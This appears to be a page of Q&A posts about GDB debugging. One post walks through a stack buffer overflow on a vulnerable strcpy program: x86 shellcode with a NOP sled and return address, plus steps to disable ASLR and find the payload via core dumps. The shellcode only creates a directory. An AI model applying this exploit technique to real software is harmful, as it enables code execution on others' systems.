I was trying to set rsp so that I can see call stack from it:
(gdb) set $rsp = 0x3fa4fefde930
Left operand of assignment is not an lvalue.
This is weird because I think the rsp should be able to set.
Is there anything that might cause this, and how to avoid it?
Perhaps you are trying to set $rsp from other than the top-most frame? Try to switch to frame 0 first:
(gdb) select-frame 0
(gdb) set $rsp = 0x3fa4fefde930
Related
So, my English is very bad, but I will try to explain my problem clearly(sorry about that).
I have a program in the ะก programming language:
#include <stdio.h>
#include <string.h>
void vuln_func(char *data) {
char buff[256];
strcpy(buff, data);
}
void main(int argc, char *argv[]) {
vuln_func(argv[1]);
}
The program accepts any line for input. I want to enter a payload into it, which will create a TEST directory in the directory from which this program is launched.
How it works:
I run a program in the debugger with a string containing the payload:
(gdb) r $(python -c 'print "\x90" * 233 + "\x31\xc0\x50\x68\x54\x45\x53\x54\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x59\xee\xff\xbf"')
In the payload, first there are 233 "nop" instructions, then the shellcode that creates the "TEST" directory, then the address to which the program should go when it reaches the "ret" instruction
Part of the program code in the form of instructions in the debugger:
(gdb) disas vuln_func
Dump of assembler code for function vuln_func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x108
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x108]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy#plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
End of assembler dump.
So, the "strcpy" function puts the string that we entered into the program on the stack.
Then a couple more instructions are executed. When the program reaches the "ret" instruction, the return address is on the stack. By default, it points to the address in the "main" function. I want it to point to my payload located on the stack. When the program is executed through the debugger, I can see where the return address lies in the stack and calculate the required number of "nop" instructions before the payload and the value of the desired return address. But what to do when I want to execute a program without a debugger. How do I find out where my shell code is in the stack?
I tried using the same return address that I used in the payload via the debugger, but my ubuntu system reports the error "Segmentation fault (core dumped)" . That is, the return address does not correspond to the real address space of the stack, which is allocated for this program when running through the ubuntu terminal.
update: I looked at the core dump of this program. Every time I run it through the terminal, the stack address changes a lot. Here are a few stack addresses where my shell code was located:
0xbfda4161
0xbfc89161
0xbf944161
Why does the stack address change so much if I have already disabled the dynamic address space?
The value of the esp register on entry into main depends on the environment variables and the size of the argv[n] strings (in addition to being randomized by the kernel, which you've turned off).
I suspect that in your case the difference is caused by argv[0], which GDB tends to resolve to the full pathname of the binary.
You didn't tell us how you invoke the vulnerable binary outside of GDB. If you do something like ./vuln $(python -c ...) or vuln $(python -c ...), try running it as $(realpath ./vuln) $(python -c ...) instead -- that should match what happens in GDB.
I solved the proble.
Firstly, I didn't think about the fact that the ASLR shutdown setting is disabled every time I log out.
How to do:
Disable ASLR. For ubuntu 16, I used the following command: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
View the core dump data. I did it using the "coredumpctl" utility.
First I looked at the list of fallen programs: coredumpctl list, found the process number for my program in it.
Then went under the debugger: coredumpctl gdb your_proc_pid.
In the debugger, I looked at the stack address using: (gdb) info stack, found where my payload lies in the stack: x/90xw 0xstack_address.
I changed the address in my payload, now the program does not break when running in the terminal.
I have a simple program that I am using to test a python riscv disassembler I am making and I want to use gdb/qemu to test my work. The program is this literally just this:
int main(int argc, char *argv[]) {
while (1);
return 0;
}
this is the command I am using to start gdb:
gdb-multiarch ./test -ex "target remote :7224" -ex "tbreak main:4" -ex "continue"
This is what was used to compile it:
riscv64-linux-gnu-gcc -o test test.c
But I am getting this error when I try to change any memory values:
(gdb) disassemble
Dump of assembler code for function main:
0x00000040000005ea <+0>: addi sp,sp,-32
=> 0x00000040000005ec <+2>: sd s0,24(sp)
0x00000040000005ee <+4>: addi s0,sp,32
0x00000040000005f0 <+6>: mv a5,a0
0x00000040000005f2 <+8>: sd a1,-32(s0)
0x00000040000005f6 <+12>: sw a5,-20(s0)
0x00000040000005fa <+16>: j 0x40000005fa <main+16>
End of assembler dump.
(gdb) set *(int*) $pc = 0x2e325f43
Cannot access memory at address 0x40000005ec
I just want to see what instruction gdb interprets with the bytes I set. Google has been little to no help with this. What could I be doing wrong?
Figured it out in a stupid manner.
set $pc = $sp
Then I can change the pc
This command:
set *(int*) $pc = 0x2e325f43
is trying to write a value to the memory the PC currently points at (that's 0x00000040000005ec in this case). As it happens, that memory is read-only, which is pretty usual for areas of memory with code in them[*]. So gdb tells you it can't write there. You should be able to write to memory which isn't read-only.
[*] With a suitable linker map you can create binaries which have the code in writeable memory. But the default for Linux executables is that code segments are read-only.
Your other command:
set $pc = $sp
changes the PC; it sets it to whatever the stack pointer is pointing at. That's going to be fatal for any further attempts to execute code, unless you put some code there, of course. As it happens, the stack is generally writeable, which is why writing to the memory pointed to by the PC then works.
I'm having trouble getting a disassembly at my current location. GDB does not recognize . (dot) as "here":
(gdb) disass .
A syntax error in expression, near `.'.
Issuing disass $pc disassembles from the start of the function and not "here":
(gdb) disass $pc
Dump of assembler code for function _ZN8CryptoPP6RDSEED13GenerateBlockEPhm:
0x000000000056b962 <+0>: push %r13
0x000000000056b964 <+2>: push %r12
0x000000000056b966 <+4>: push %rbp
...
<skip 5 pages of output>
0x000000000056ba88 <+294>: mov %rdi,0x8(%rsp)
=> 0x000000000056ba8d <+299>: test %edx,%edx
0x000000000056ba8f <+301>: je 0x56ba7f <_ZN8CryptoPP6RDSEED13GenerateBlockEPhm+285>
...
How do I create an alias or a rule to provide a disassembly at the current location, some number of instructions before the current location, and some number of instructions before the current location?
It seems like this should be built-in functionality, but GDB does not appear to offer it. Other low level debuggers, like WinDbg, has the built-in functionality.
disas disassembles the entire function (as designed and documented).
You are looking for x/10i $pc (replace 10 with desired number of instructions).
How can I alias disass . to the command above?
There is GDB alias command, but it rejects my attempts to use it:
(gdb) alias ds = x/10i $pc
Invalid command to alias to: x/10i $pc
User-defined command works:
(gdb) define disas
Type commands for definition of "disas".
End with a line saying just "end".
>x/10i $pc
>end
How do I check the current line number that I'm stopped in when debugging with GDB? I would have thought this would be obvious (and maybe it is) but I don't see it on the GDB Cheat Sheet.
Some digging around revealed the following methods:
frame: This command was exactly what I was looking for. Output looked as follows:
(gdb) frame
#0 MyDialog::on_saveButton_clicked (this=0x72bf9e0) at src/ui/dialog/MyDialog.cxx:86
86 _item->save();
(gdb)
where or bt (same effect): This prints out the call stack, ending on the current line.
list *$pc: This doesn't tell you the exact line but it prints out the surrounding lines with the current line in the center.
x/i $eip
eip(rip) points to the next instruction
Is there any way to get GDB to print the last "n" values pushed on the machine's stack. For example, currently if I want to inspect the contents of the stack I do the following (assuming x86 architecture):
(gdb) # get last value pushed on stack
(gdb) p *(int *)($esp)
(gdb) # get 2nd to last value pushed on stack
(gdb) p *(int *)($esp + 4)
Is there a better way to view the machine stack? Printed nicely, maybe?
Examine 16 words on the top of stack:
x/16wx $esp
The "w" is for printing words